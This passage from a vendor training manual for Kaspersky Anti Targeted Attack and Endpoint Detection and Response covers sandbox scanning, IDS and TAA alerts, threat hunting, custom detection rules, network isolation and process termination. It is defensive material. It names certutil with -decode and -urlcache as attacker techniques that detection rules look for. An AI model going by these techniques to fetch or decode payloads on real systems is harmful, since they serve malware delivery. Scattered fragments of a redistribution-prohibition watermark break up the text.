running another instance of a virtual machine. The sandbox agent is responsible for sending objects to
ib
the sandbox and receiving the results. If the arrival rate of objects is higher than the processing rate,
meaning, the server cannot cope with the load, the queue will grow. The scanning time will increase
accordingly, which will be displayed on the Dashboard in the administrator's console (but not in the
security officers’ consoles).
r
st
The sandbox can run each file on several types of Windows/Linux virtual machines. Types of the
necessary virtual machines are selected by the anti-malware engine of the central node. Files are
scanned on different virtual machines concurrently. The sandbox logs all actions and network activity of
the sample, saves the data outside the virtual machine and powers it off.
di
Depending on the scan settings specified by the central node, the sandbox can scan files in two modes:
— Full logging mode collects as many details about activity within the virtual machine as possible,
re
but compromises on the sample observation period.
— Quick scan mode logs fewer details, but observes the sample approximately 10 times longer
than the Full logging mode. The Quick Scan Mode does not consume more time thanks to
special technologies.
or
The scanner of the sandbox server analyzes the activity logs and new files extracted from the virtual
machines, and the IDS module (similar to that of the sensor) checks the captured network traffic. The
sandbox agent collects the scanning results and all artifacts received during analysis. The central node
has a dedicated storage for the results that it receives from the sandbox server. The size of this storage is
d
300GB.
e
If a sandbox receives a link from mail traffic, it starts a web browser and opens the link there. If it receives
a link from the network traffic, it downloads the file and tries to run it.
pi
Publication of results
All technologies send their alerts to the central node where they are stored in a database managed by
co
PostgreSQL. Alerts by multiple technologies about the same file are combined into one. Alerts by the
URL Reputation technology for the same URL over 24 hours are combined into a single alert. All matches
of the same IDS rule over 24 hours are also combined into a single alert.
Caching results
be
To avoid scanning the same files repeatedly, the central node cache scanned objects. Different object
types (executable files, multimedia files, scripts, links) are cached for a different time.
To not only avoid scanning already scanned files again, but also not to transfer them another time to the
central node, the sensor regularly downloads a copy of cache from the central node.
to
The cache is stored in the memory in a high-performance non-relational Redis database. To synchronize
it, the sensor connects to the central node on TCP port 6379. The connection is protected with IPSec.
t
No
157
Administration
Processing traffic alerts
ed
IDS
When IDS detects a threat in network traffic, the respective alert shows the following data in addition to
ut
general detection attributes:
— Detection technology: IDS,
— Threat name according to Snort/Suricata classification,
—
ib
Threat name according to Kaspersky classification,
— Captured traffic that matched the rule (in the PCAP format),
— Traffic data (without headers) that matched the rule (in base64 encoding),
— List of network detection events for this rule over 24 hours since the alert was created,
r
— IDS database version.
st
To download captured traffic with all headers in PCAP format, click the Download PCAP file link in the
Recommendations pane on the right. The data file without headers is also available: click the Download
IDS artifact link. The file is in JSON format, and the data is Base64 encoded.
di
The Rule details area of the card displays detailed information about the matched rule. The analyst can
study these details and decide whether this activity is dangerous for the organization.
re
If an IDS rule generates too many trifle alerts, you can create an exclusion for it: click Add to exclusions.
An exclusion applies to all traffic. You cannot make a narrow exclusion that only ignores traffic to or from
a specific address.
or
What gets into IDS artifact depends on the traffic capture settings configured in the text console of the
sensor (or central node in the sensor role). By default, an IDS artifact contains only the data from the
HTTP request that triggered an IDS rule.
The Network event section of an IDS alert lists network connections that matched the rule. The table
d
shows the source and destination IP addresses for each connection. For HTTP traffic, the HTTP request
and User agent are displayed. For DNS traffic, the requested name is displayed.
e
An IDS alert accumulates network events that match the same IDS rule over 24 hours. Meaning, if there
was a suspicious request at 13:00 and then another request to the same address and with the same
pi
parameters at 22:30, there will be no separate alert for the second request; instead, its details (time,
source address, User agent) will be added to the Network event section of the previous alert. If the first
alert has already been processed by that time, the central node will return it to the same specialist with
co
the status ‘In progress’.
All IP addresses and names of the Network event section are links that search for related telemetry
(Kaspersky Endpoint Detection and Response) and alerts (Kaspersky Anti Targeted Attack). The links in
the Recommendations pane on the right allow you to search for related events and alerts by addresses
or names from the Network event section.
be
URL Reputation
URL Reputation alerts don't have the Recommendations pane, but you can search for related events
and alerts using the shortcut menu that opens when you click the IP address or URL in the alert details.
to
URL Reputation alerts can be found in any traffic:

— Raw traffic from SPAN interface;
— URL from a proxy server integrated using the ICAP protocol;
— A link in a mail message that was received through any mail integration channel (POP3, SMTP,
t
SPAN).
No
The Alert details section shows known details of the network request where the URL was detected. This
can be a part of HTTP traffic, DNS query, or email message details.
158
Administration
If the URL was detected in the network (not mail) traffic, the Alert details section will show all requests to
ed
that URL over 24 hours. If another match is detected in more than 24 hours since the first event, a new
alert will be created.
If a threat is detected in an email message, the following information about the message will be displayed
ut
below the standard alert header:
— Email from,
— Email recipients,
— Email subject,
ib
— Email headers.
The message text is not displayed in the alert. Each mail message generates a new alert.
r
File alerts
st
If the file was detected by AM, SB or YARA, the Object information area displays md5 and sha256
checksums of the detected malicious file, its type and size, as well as a button for downloading the file to
di
the security specialist’s computer.
There is a button below the file name that allows you to search the tip.kaspersky.com portal for the file’s
checksum. Kaspersky Threat Intelligence Portal provides advanced information about threats. For
re
example, you can find names and checksums of other files that are often detected together and pertain to
the same attack. You can also find a list of names that this file has had, where from it has been
downloaded, in which countries and regions it was found most often, when it was detected for the first
time and other details.
or
If you click the checksum, another shortcut menu will open that also contains a link to the Threat
Intelligence Portal and other actions:
— Copy the checksum to the clipboard;
d
— Find information about the file on the VirusTotal website; 18

— Prohibit starting files that have this checksum (Kaspersky Endpoint Detection and Response);
e
— Search the Threat Hunting database for events where the checksum is mentioned (Kaspersky
Endpoint Detection and Response).
pi
Execution prevention and searching within the database of events require a KEDR license.
co
The Network event section provides information about the network activity where the file was
intercepted. As a rule, it is an HTTP or FTP request to a server and the table shows the request type and
the server address, as well as the User agent and the user name if this information was included in the
traffic (the proxy server can specify the user name in the ICAP protocol).
The Scan results section lists the results of scanning the file by all technologies: anti-malware engine
be
(AM), YARA (if the analyst has uploaded rules to the server) and sandbox. For each technology that
considers the file to be dangerous, all threats that the file matches are listed. Click a threat name (for AM
and SB technologies) to open its description in the threats.kaspersky.com portal.
The Recommendations pane also shows related alerts. The attributes by which related alerts are
searched for depend on the file source. You can always manually search for a file’s checksum to check if
to
it has already appeared in another traffic type (for example, in email messages). If the file was detected in
network traffic, you can search for alerts with the same address or computer name.
t
No
18Kaspersky is not responsible for the information about files at https://virustotal.com. The users make the decision whether to
use this resource on their own account.
159
Administration
If you use Kaspersky Endpoint Detection and Response, you can also use the Recommendations pane
ed
to automatically search the Threat Hunting database for events by alert attributes: checksum, IP address
and name of the computer related to the traffic.
If the file was found in a mail message, the alert card contains the message attributes and allows you to
search for other alerts with the same attributes — sender address or recipient address — through the
ut
Recommendations pane.
ibr
st
di
re
or
e d
pi
co
be
t to
No
160
KL 025.5: Kaspersky Anti Targeted Attack. Kaspersky Endpoint Detection and Response. 5. KEDR operation
Administration
5. KEDR operation
ed
ut
5.1 KEDR detection technologies
ib
r
st
di
re
or
e d
pi
A set of technologies is used to detect threats, including:

— TAA detects indicators of attack in telemetry events.
— SB analyzes executable files and active documents on virtual machines of KATA Sandbox.
co
— IOC detects indicators of compromise on network computers based on custom rules in OpenIOC
format.
— YARA uses custom rules to scan files and processes on computers, as well as files in the central
node storage.
be
— AM scans files in the central node storage using updatable signatures.
Targeted Attack Analyzer

to
Targeted Attack Analyzer checks data retrieved when monitoring endpoint activity to detect indicators of
targeted attacks on the company’s IT infrastructure.
Targeted Attack Analyzer receives information about endpoints’ behavior from the endpoint agents.
Kaspersky Endpoint Agents inform the central node about launched processes, executable modules or
t
files, established network connections, file activities, changes in the registry, events written to Windows
Event Log and interactive keyboard input in command shells.
No
161
Administration
These data are added to the database, compiled and analyzed in real time. Targeted Attack Analyzer
ed
uses various rules to detect dangerous activities, and the rules are regularly updated in the database.
Security personnel can also add custom rules for telemetry analysis.
Two classes of TAA rules are used in Kaspersky Endpoint Detection and Response. Some rules are
aimed at detecting indicators of attacks. If endpoint’s activity matches one of these rules, the central node
ut
creates a TAA alert.
Other rules don't create alerts, but add tags to events. You can see these tags when analyzing telemetry
ib
events in the Threat Hunting section of the web console. Tags help analysts faster navigate through
numerous events and decide which activity needs investigation and which does not.
Tagging rules cover, for example, actions that fall within the MITRE ATT&CK classification. Tags with
r
technique names complement TAA alerts and help make decisions about which steps to take in response
st
to the attack.
Detection rules also add tags. An event can have multiple tags added by tagging rules and detection
rules.
di
To check health of the TAA technology, simulate an activity that matches a TAA rule (either detection or
tagging) on one of the computers.
re
If you want a non-synthetic alert, run the certutil.exe system utility with the -decode19 option on a
computer. This will result in a suspicious_certutil_usage_decoding TAA alert.
or
e d
pi
co
be
to
Some detection technologies allow analysts use custom rules, and some don't. IOC and YARA
technologies work only with custom rules.
t
No
19Adversaries often use this method to decode Base64-encoded malware. System administrators sometimes use this utility too,
but relatively rarely and mostly on their own computers or servers. If certutil -decode is run on a computer of an ordinary
employee, it is suspicious and must be investigated
162
Administration
ed
ut
ibr
st
di
re
or
Some technologies operate locally on computers, and some, on KATA servers. The TAA, SB and AM
technologies are used only on KATA servers.
Importing third-party TAA rules

e d
pi
co
be
t to
No
163
Administration
To efficiently use Threat Hunting, you need the corresponding qualification and experience. However,
ed
even a less experienced security specialist can use Threat Hunting to search for indicators of
compromise.
Lists of indicators of compromise are often included in public reports about detected attacks or malware.
ut
Specifically, you can find them in the reports published on the securelist.com Kaspersky website, which
provides state-of-the-art information about threats.
Indicators of compromise are also available together with APT reports in the Threat Intelligence Portal.
ib
The subscription included with Kaspersky Anti Targeted Attack and Kaspersky Endpoint Detection and
Response only provides relatively old reports. Purchase a full-fledged subscription to be able to access
the latest reports.
r
Indicators include names and checksums of malicious modules, control server addresses, typical registry
st
keys. You can easily use all these parameters in Threat Hunting to check whether they have been logged
within the endpoint agents’ events.
When importing TAA rules, keep in mind that they may affect the system’s performance.
di
Some rules don't require creating alerts. In this case, don't select the Generate alerts option.
re
When you import custom TAA rules, some conditions may not be supported. In this case, the rule will be
imported, but the system will ignore unsupported conditions.
IoC import
or
e d
pi
co
be
to
You can use rules when searching computers for IOC via endpoint agents. You can only import indicators
t
from a file in OpenIOC format. You cannot save a Threat hunting search as a custom IOC rule.
No
You cannot edit search conditions in the loaded rules. They must be edited before importing. But you can
change the importance level and the indicator name in its properties. You can also select or clear the
Autoscan checkbox.
164
Administration
Rules where Autoscan is enabled are applied when searching network endpoints for indicators. Rules
ed
where Autoscan is disabled are not used when scanning endpoints. In fact, Autoscan allows you to
disable a rule without deleting it. This can be useful if you need to reduce resource consumption on
endpoints when running searches.
ut
You can click Find alerts in an IOC card to find all alerts created by this rule. The Find events link
uploads the rule conditions into Threat hunting for retrospective telemetry search. To save the rule as an
OpenIOC file, click the Download file link.
ib
IOC scanning schedule
r
st
di
re
or
e d
pi
co
The central node supports exactly one configuration for searching endpoints for indicators of compromise.
The scanning is performed once a day at the time specified in Settings | IOC scanning schedule. The
Start time is specified in the UTC time zone. You cannot change the zone. The Maximum scan
duration is specified in hours.
You cannot set any other scanning parameters. All computer drives are scanned. Search for registry keys
be
is performed throughout the whole registry. Therefore, scanning can take a long time and should be run
overnight.
If indicators of compromise are detected on a computer, the results are displayed as alerts in the central
node web console. For each IOC rule, a separate alert is created with the importance level defined in that
to
rule. Endpoint agents send the results after the task completes rather than while it is running.
If scanning detects indicators of compromise on the computers, the central node creates an alert by the
IOC technology with the importance level of the matched indicator.
t
No
165
Administration
Scanning of suspicious files by file analysis technologies
ed
ut
ibr
st
di
re
or
You can have suspicious files automatically sent for deeper analysis.
d
Files are sent for scanning when specific (not just any) system (non-custom) TAA rules are triggered.
e
Scanning is performed by all file analysis technologies:

— Anti-Malware,
pi
— Sandbox,
— YARA.
co
be
t to
No
166
Administration
TAA alert details
ed
ut
r ib
st
di
re
or
The central node investigates endpoint activity using the Targeted Attack Analyzer component. Data are
collected from endpoint agents, grouped and analyzed for the purpose of identifying suspicious behavior.
d
All information for Targeted Attack Analyzer is stored on the central node in a special database and
security personnel can use it for manual analysis.
e
A single alert can include events from many network endpoints; they are listed below in the Hosts section
pi
of the alerts’ details.
ENDPOINT is specified as the source of a TAA alert, along with the timestamp of the first event that
triggered the TAA rule.
co
The Scan results section of a Targeted Attack Analyzer alert shows the name of the TAA rule that
telemetry matched. Click the rule name to open its description, which contains:
— Description of dangerous activity;
be
— Incident response recommendations;

— Activity classification according to MITRE ATT&CK and a link to the respective page of
attack.mitre.org;
— Description of the MITRE ATT&CK technique and response recommendations;
to
— Description of possible legitimate use of the operations that triggered the rule.
t
No
167
Administration
5.2 Incident investigation
ed
TAA detection events
ut
ibr
st
di
re
or
e d
After the rule name, a TAA alert card lists the network endpoints where events that match the rule were
detected. The number of such events is specified for each endpoint.
pi
The central node accumulates all events that match a TAA rule from all hosts over 24 hours within a
single TAA alert card. If an alert has been processed and then new events appeared, the central node
reassigns the alert to the specialist who processed it with the status In process.
co
Activity details, such as file names or launch parameters, are not displayed on the card. To find them, you
need to search the Threat hunting database. The Find events link below the list of network endpoints
automatically searches for the TAA rule ID over the period that the card covers: 24 hours after the first
logged event. This search will show events from all computers. To find events from a specific computer,
click the computer name in the card.
be
You can change the search criteria in the Threat Hunting results: click any value in any column to either
add it to the search criteria or exclude it from the search.
t to
No
168
Administration
Root cause analysis
ed
ut
ib
r
st
di
re
or
Click an event in the search results to display a card with the event details and a visualization of the event
tree. Initially, both the card and the visualization pane show the selected event and its parent process.
d
The card contains numerous event attributes, such as operation type, file name and checksums, size,
e
digital signature, the user who performed the operation and others. The full list of displayed attributes
depends on the event type (operation type) and is described in the KATA Platform online help.
pi
Most attributes are interactive in an event card. Click an attribute to search for other events that have the
same attribute or alerts with that attribute. The search results open in a new tab to keep the main analysis
intact.
co
At the top of an event card, below the visualization pane, there is a toolbar with response commands. You
can isolate the respective computer from the network, create an execution prevention rule for the file,
create remote response tasks: delete the file, stop the process and others.
be
The event graph above the event card is also interactive. Click a process in the graph to display the
process launch event card and its parent process. Thus, by clicking parent processes, you can
completely ‘unwind’ the sequence of processes from the operating system start.
The number of events from the Threat hunting database that are related to each process is shown next to
the respective process name. These events, for example, contain information about files created by the
to
process, child processes that it started, established network connections, access to the registry, etc.
To open a menu that lists event types and the number of events of each type, click the arrow to the right
of an event counter in the graph. Click an event category or All events to display the list of events below
the graph.
t
No
The following is specified for each event: its timestamp, type and other details that depend on the event
type. For example, for a Process started event, the following is displayed: name of the child process
executable, its MD5 and SHA256 checksums (under the respective links) and the TAA tags of varying
importance. A TAA tag shows that the child process activity matches a TAA rule.
169
Administration
You can filter the list to hide trivial events and leave more interesting ones. For this purpose, either click
ed
one of the headings and manually adjust the conditions, or click any event attribute in the table; the
context menu that will open allows you to show only events with the same attribute value, or, on the
contrary, hide such events.
ut
An analyst can add interesting events to the graph to better visualize activity development on the
computer. To achieve this, hover (but not click) the mouse cursor over the event line. A dull eye icon will
appear to the left of the event logging time. If you click the eye, it will become bright and the event will be
added to the graph next to its parent process.
ib
To remove an event from the graph, either click the eye in the list of events again or hover over the event
on the graph, wait for the red diagonal cross to appear next to the event name and click this icon.
r
This way, an analyst can study details of events associated with the initial alert: unwind the chain of
st
parent processes, find other child processes, created files and network connections.
You can click any attribute of any event and search the Threat hunting database for this attribute to start a
new investigation chain. The search results open in a new tab to keep the current investigation intact.
di
Tracking the chain of events
re
or
e d
pi
co
be
You can select a list of events related to each process and, if necessary, add them to the investigation
to
graph. Some events are displayed on the graph automatically.

t
No
170
Administration
Correlation with Kaspersky Endpoint Security detections
ed
ut
ib
r
st
di
re
or
If Endpoint Agent is installed within Kaspersky Endpoint Security, in addition to processes’ activity, it will
also send Kaspersky Endpoint Security detections, including so-called silent detections, which are hidden
d
from Kaspersky Endpoint Security logs.

e
KES detections get in the TAA database as ordinary events by endpoint agent. You can find them via
Threat Hunting, but don't expect to see them in the Alerts list.
pi
Information about KES detections can help evaluate the damage caused by the threats or add weight to
related events. Or, on the contrary, notify the analyst that the local security tool successfully blocked the
attack and the incident does not need to be investigated.
co
You can search for Kaspersky Endpoint Security events using the EventType = Detect processing result
condition. Description of such events includes the detection time, threat name according to the Kaspersky
Endpoint Security classification and the last action applied.
be
t to
No
171
Administration
TAA exclusions
ed
ut
ibr
st
di
re
or
If a TAA rule produces too many trifle alerts, you can create an exclusion for it. Exclusions are only
supported for updatable TAA rules. If you want to disable or delete a custom TAA rule, you can do it in
d
the User rules | TAA section.

e
To create an exclusion from a TAA rule that arrived with updates, in an alert card, click the rule name in
the Scan results area. In the rule description that opens, click the button Add to exclusions.
pi
co
be
t to
No
172
Administration
ed
ut
ibr
st
di
re
or
If necessary, you can create an exclusion from a TAA rule with additional conditions. To do so, when creating an
exclusion, select Exclude rule – Based on conditions and specify the necessary conditions.
e d
pi
co
be
t to
No
All configured exclusions are listed in the Settings | Exclusions section, on the TAA Exclusions tab.
You can remove an exclusion from this page if you need to apply the rule to incoming telemetry again.
173
Administration
Threat hunting
ed
ut
ib
r
st
di
re
or
Threat hunting is a powerful detection tool in skilled hands. An experienced analyst can form complex
search conditions and find clear indicators of compromise as well as implicit indicators of attack.
d
Endpoint agents inform the central node about various events on the endpoints: the launch of processes,
e
loaded libraries, installation of services and drivers, file changes, creation and modification of registry
keys, established connections. Security personnel can search these data.
pi
In the search conditions, an analyst can configure event attributes, comparison operators and values with
which the selected attribute is to be compared.
co
Attributes may include computer name, its address, file name, file path, checksum, modification or
creation timestamp, name of the parent process, name of the loaded library and others, including event
types in Windows log and threat detection events by Kaspersky Endpoint Security.
Various comparison operators may be used, such as ‘Equals’, ‘Not Equals’, ‘Contains’, ‘Starts with’, ‘Ends
be
with’. Available operators depend on the selected search attribute.
You can use an arbitrary string or number for a search condition value depending on the attribute type.
For some attributes, values are fixed and are displayed in a list.
An analyst can join conditions with AND and OR operators. For a more complex search, you can group
to
conditions first and then use logical operators AND and OR to combine the groups.
In addition to search conditions, you can specify a time interval in the upper-right corner of the Threat
Hunting page. The default value is Last day. An analyst can limit the search to one hour or specify an
arbitrary interval.
t
No
174
Administration
Custom TAA rules
ed
ut
ib
r
st
di
re
or
You can save any Threat hunting search conditions as a custom rule for the Targeted Attack Analyzer
technology. TAA rules are essentially search conditions for events with suspicious attributes, such as
d
running certutil with the urlcache parameter, which permits saving a file to the computer using a
system utility.
e
Kaspersky experts create updatable TAA rules based on their experience in detecting indicators of
pi
attacks on Kaspersky network and on customers’ networks.
Security personnel may discover new attack methods in telemetry collected from network endpoints. For
co
example, when investigating detected suspicious activities, they can notice a suspicious activity that has
not been detected automatically because it is a new attack technique that has never been previously
used.
In this case, the information security specialist can describe this activity using the threat hunting search
parameters and save as a custom TAA rule.
be
Custom rules are applied similarly to downloadable TAA rules: to all new events that arrive from network
endpoints in real time. If an event matches conditions of a rule, it receives a tag with the rule name. Such
events are easy to spot in the Threat Hunting search results.
If you believe that a custom rule describes dangerous activity that requires investigation, you can select
to
the Generate alerts checkbox for it. In this case, the central node will create TAA alerts when the rule is
matched.
You can also specify an importance level and a confidence level for each custom rule. Confidence is
essentially the likelihood that the described activity is malicious.
t
No
For example, executing certutil with the -decode parameter can be a part of an attack, but IT
specialists can also use it in a script. For an event like this, you can select the Medium confidence level.
In general, confidence depends not only on the activity itself, but also on the practices adopted by the
175
Administration
organization. If IT specialists are not allowed to use certutil with the -urlcache or -decode
ed
parameter, this activity may have the High level of confidence for that organization.
The importance reflects the potential danger of the described activity. It defines the color of the event’s
icon and the importance of alerts if the Generate alerts checkbox is selected for this rule.
ut
You can find custom TAA rules in User rules | TAA. An information security specialist can disable rules
that are no longer useful or adjust a rule’s attributes: name, importance and confidence levels, select or
clear the Generate alerts checkbox.
ib
You can also import rules from a file in OpenIOC format. You can find these files in reports about attacks,
in data feeds by Kaspersky or other vendors and in public sources.
r
You cannot change search criteria in a rule. Instead, you can click the Run query link in the rule card to
st
load the rule to Threat hunting, edit the search conditions there and save them as a new TAA rule.
Run query loads the rule conditions into Threat hunting and allows you to search the entire telemetry
database for matching events. The Find events link also generates a search in Threat hunting, but only
di
searches for events that have this rule’s tag. The tag is assigned only to those events that were being
processed when the rule was active. Events that had been collected before the rule was created cannot
have its tag.
re
In other words, you can use Run query to search the telemetry database retrospectively. Find events
searches for events tagged by the rule. Find alerts searches for alerts created according to this rule.
You can create exclusions for downloadable TAA rules. Custom TAA rules cannot have exclusions. If a
or
custom rule generates many useless tags or alerts, fine-tune it, disable or delete.
How Kaspersky Endpoint Agent sends telemetry for analysis

d
The TAA technology of the central node compares the events sent by endpoint agents with TAA rules.
Events that match a rule receive the corresponding tag. You can see these tags on the event card in the
e
Threat Hunting search results. Depending on the rule settings, the central node can also create alerts.
pi
Telemetry events come almost continuously from computers. Event sending is configured in Kaspersky
Endpoint Agent policy or local KEA settings if the computer is not managed via KSC.
In the policy, these parameters are located in the Application Settings | Telemetry collection servers |
co
General settings section, Data transmission settings area:

— Event transmission period (sec) — the maximum interval between consecutive event
transmissions; 30 seconds by default. If 30 seconds have elapsed since the previous event
transfer session, the endpoint agent starts a new session.
— Event limit per package — the maximum number of events buffered for sending; 1024 events
be
by default. As soon as 1024 events accumulate in the buffer, the endpoint agent starts a new
event transfer session (even if the previous session took place less than 30 seconds ago).
In other words, the agent starts a new event transfer session when either of the two conditions is met:
when the Event transmission period passes, or the buffer accumulates the number of events equal to
to
the Event limit per package.
Events can also be written to the send queue, which is stored on the disk in the endpoint agent data
folder. Thus, if the central node is inaccessible, events are queued. When the connection is restored, the
endpoint agent sends events from the queue in chronological order: oldest first.
t
The default settings of Kaspersky Endpoint Agent don't guarantee that all locally collected events will be
No
delivered to the central node. Priority is given to smooth operation of the central node, which may become
overloaded with too much telemetry. If too many events are logged on a computer, the endpoint agent
can discard some of them.
176
Administration
ed
ut
ib
r
st
di
re
This behavior is configured in the KEA policy: KATA integration | General settings, the Throttling
or
settings area:
— Event throttling — this checkbox enables or disables discarding ‘extra’ events; it is selected by
default.
— Maximum events per hour is the maximum number of events that will be sent; 3000 by default.
d
All events that exceed this limit will be discarded.

e
— Percent of exceeding the limit of events is the maximum percentage of events of the same
category, 15% by default. If percentage of some events exceeds the specified threshold, all other
events of this category will be discarded (until the category share decreases as events of other
pi
categories accumulate).
You can find event categories in the online help or carry out the following command to display them:
co
agent.exe --message-broker stats:

— AccountLogon,
— ConsoleInput,
— FileChange,
— HttpRequest,
be
— HttpResponse,
— ListenPort,
— LoadImage,
— NetworkConn (Network connection),
— ProcessCreate,
— ProcessExit,
to
— ProcessTkChange (Process token change),

— AllThreatDtkt (KES Detections),
— WinEventLog,
— WinRegistry.
t
If Threat hunting evidently lacks events for the full picture when you analyze suspicious activities, this
No
may mean that you should adjust the Event throttling settings. Try increasing the overall limit or the
relative limit for events of the same category. The agent.exe utility can help you configure computers that
are not managed via Kaspersky Security Center.
177
Administration
5.3 Incident response
ed
ut
ib
r
st
di
re
or
As soon as security personnel detect indicators of an attack, they should react immediately. In a well-
d
organized information security department, there must be a well-thought-out and well-run incident
response procedure. This procedure may include, for example, the following measures:
e
— Isolate compromised computers from the network.

— Analyze recent events on the computer.
pi
— Identify suspicious or explicitly malicious files.

— Prohibit all network computers from running these files.
— Stop the detected malicious processes and delete malicious files.
—
co
Analyze code of the malicious files and find out what they do.
— Collect various information required for incident analysis and response.
Kaspersky Endpoint Detection and Response tools help implement these measures.
be
t to
No
178
Administration
Isolating an endpoint from the network
ed
From the central node console
ut
rib
st
di
re
or
d
For Kaspersky Endpoint Detection and Response to be able to isolate a computer from the network,
endpoint agent with completely activated EDR functionality must be installed on it.
e
A senior security officer can isolate a computer using its properties in the list of endpoint agents in the
pi
central node console, or on any other page of the console where the computer name is displayed. For
example, a senior security officer can activate network isolation using the shortcut menu of a computer
name in an alert properties, or in an event properties on the Threat Hunting page.
co
Endpoint Agent uses the Windows packet filter to isolate the computer from the network. Network
isolation blocks all incoming and outgoing packets and connections except for those for which exclusions
are specified.
Endpoint Agent has unconditional exclusions for:

be
— DNS and DHCP protocols to ensure that the computer remains operational and, in particular,
that the endpoint agent is able to communicate with the central node.
— For services and processes of Kaspersky Endpoint Agent and other Kaspersky applications that
can be installed on the computer:
to
— Kaspersky Endpoint Security,

— Kaspersky Security for Windows Servers,
— Kaspersky Security Center Administration Server,
— KSC Network Agent.20
t
No
20The exclusion applies to the klnagent.exe process, which communicates with the Kaspersky Security Center server, but does
not apply to the klnagchk.exe process, which is used for troubleshooting (to check connection to the Kaspersky Security Center
server).
179
Administration
A senior security officer can also create any other exclusion manually, using a simple list of settings:
ed
— Traffic direction — ‘Outgoing’, ‘Incoming’ or ‘Incoming/Outgoing’ (the direction of packet sending
or established connections).
— IP — you can only specify individual IP addresses. Stands for the address of a remote computer
ut
which you need to allow packets or connections to/from.
— Ports — port number or a range of ports. Available only for ‘Incoming’ and ‘Outgoing’. If a port is
specified, TCP connections to this port will be allowed; if a port is not specified, any packets and
connections will be allowed to or from the specified IP.
ib
For example, a senior security officer can allow incoming connections to connect to the computer's
desktop for in-depth investigation.
r
When applying isolation, Kaspersky Endpoint Agent notifies the local user that the computer will be
st
isolated from the network and lists the configured exclusions.
Exclusions can be adjusted after the computer has already been isolated. Since built-in exclusions don't
di
prevent the endpoint agent from communicating with the central node, it will be able to receive and apply
the new settings.
When applying isolation, the senior security officer also specifies when it will be disabled automatically.
re
The default value is 8 hours, which should be sufficient for investigating most incidents.
The countdown restarts when the isolation parameters are changed:

— The isolation time is adjusted;
or
— The exclusion list is modified.
The countdown also begins from scratch when the Kaspersky Endpoint Agent service is restarted on the
computer.
d
Isolated computers are marked with a special icon in the list of endpoint agents: a red brick in a red circle.
However, if several hundreds or thousands of endpoints are connected to the central node, finding an
e
isolated computer in the list may be a tricky task.

pi
To quickly find isolated computers, use the filter available in the properties of the Host heading in the list
of endpoint agents. Select the Show isolated Endpoint Agents only option in the filter and the list will
display only isolated computers. In the properties of an isolated computer, you can see a red isolation
warning in the upper part of the window.
co
An isolated computer continues to receive commands from the central node because endpoint agent
connections are never subject to isolation. This permits a senior security officer to cancel isolation at any
time or modify exclusion settings while maintaining isolation.
be
Isolation via Kaspersky Security Center
If a computer where Endpoint Agent is installed is connected to Kaspersky Security Center, you can
enable and revoke isolation via the KSC console.
to
To cancel network isolation, open the computer properties in the KSC Console and then open the
Kaspersky Endpoint Agent properties (in the Applications section). In the KEA properties, open Network
isolation | General settings. The Isolate current device from the network checkbox controls isolation
from the network. You can also turn off informing the user about applied isolation. For this purpose, clear
the checkbox Notify a device user when device is isolated from the network.
t
The central node console does not permit disabling user notifications and by default users will be
No
informed when isolation is enabled.
180
Administration
You can configure isolation exclusions in the KEA properties, in Network isolation | Exclusions. Unlike
ed
the central node web console, where exclusions can only be configured in terms of the source and
destination IP address and port, the KSC console additionally allows you to specify the protocol and make
exclusions for a particular executable.
ut
You can also create exclusions using preset profiles in the KSC console, which cover most Microsoft
services such as Active Directory LDAP, Kerberos, Remote Procedure Call, Remote desktop and others.
Blocking access to files
r ib
st
di
re
or
e d
pi
Isolation of a compromised host is the first step when mitigating a threat. It is equally important to prohibit
co
other network computers from accessing known dangerous objects.
The policies available in the Prevention section serve this purpose. A senior security officer can prohibit
accessing a file using the shortcut menu of its checksum anywhere in the central node console, for
example, in the threat description or in the Threat Hunting event properties.
be
You can block access to files only by checksum. It can be either MD5 or SHA256. You can additionally
specify the following in the properties of an execution prevention rule:
— Rule name (not a file name);
— Whether to show the user a message about blocked access;
to
— Rule scope — all or selected computers. To select a computer, type a part of its name, wait for
the list of computers with matching names to appear and select the computer on the list. You can
select as many computers as you want.
In a distributed installation, you can also select all hosts of a specific central node for the scope.
t
No
181
Administration
ed
ut
r ib
st
di
re
or
All the configured execution prevention rules are listed in the Prevention section. You can also adjust
their settings here:
— Enable or disable rules;
— Edit their parameters: scope, checksum value;
d
— Delete unnecessary rules.

e
Blocking applies only to the following file types and operations with files:
— Executable files;
pi
— Scripts launched via interpreters (cmd, powershell, java, regsvr32, etc.);

— Opening documents in their native applications:
— doc, docx, rtf, etc. in Microsoft Word and Wordpad;
co
— xls, xlsx, csv, etc. in Microsoft Excel;

— ppt, pptx, etc. in Microsoft PowerPoint;
— pdf in Acrobat Reader, Microsoft Edge and Google Chrome.
be
It makes little sense to block documents for all applications. Access to documents is blocked for those
applications that may be vulnerable to unauthorized code execution.
t to
No
182
Administration
Kill a process
ed
ut
r ib
st
di
re
or
When urgent threat containment measures have been taken, you can more leisurely analyze the situation
d
on the compromised and isolated computers. Kaspersky Endpoint Detection and Response tasks will
help you.
e
To counter an active threat, use the Kill process task. It has the following parameters:
pi
— Path to file is the main parameter of a task, you cannot create one without it. You can specify
only full file path; environment variables and wildcards are not supported.
— MD5/SHA256 is an optional parameter that helps identify a malicious process that masquerades
co
as a legitimate process of the same name.

— Description — arbitrary explanatory text.
— Scope — all or selected computers.
In a distributed installation, you can also select all computers of a particular central node or all
be
computers of all company's central nodes.
You can create a Kill process task from events in Threat hunting. Process start event description
contains a path to the process executable. When you click a file path, a menu opens where you can
create tasks. Alternatively, there is a toolbar above the event card in Threat hunting and you can create a
Kill process task from the Create a task menu.
to
When you create a task from an event, you don't need to enter the file path, it is substituted automatically
from the event attributes.
After a Kill process task runs, you can find its results in the Tasks node. You will see whether the
t
operation succeeded or failed for each computer. Usually, an operation fails because there is no such a
No
file or process on the computer.
183
Administration
ed
ut
ibr
st
di
re
or
Sometimes, as a result of exploiting a vulnerability, attackers manage to inject malicious code into a
system process in the memory. This is often the svchost.exe process that can be compromised using a
network vulnerability.
d
A regular Kill process task allows you to specify only the full file path and its checksum, but does not
allow you to distinguish between multiple processes having the same executable file. If you specify the
svchost.exe process in such a task, it will try to stop all svchost.exe system processes, which is
e
undesirable.
pi
To stop a specific process using its PID, first identify the compromised process using Threat hunting
tools. Then you will be able to create a Kill unique process task using the Create a task button or from
the shortcut menu of the executable file path in the card. The task automatically populates the Process
co
ID, File path, MD5/SHA256 and Host parameters using the values from the card. The resulting task will
only stop the process that has this particular Process ID, meaning, it will stop the compromised process
and will not interfere with other similar processes.
You cannot manually specify a Process ID in a Kill process/Kill unique process task.
be
t to
No
184
Administration
Get a file for scanning
ed
ut
r ib
st
di
re
or
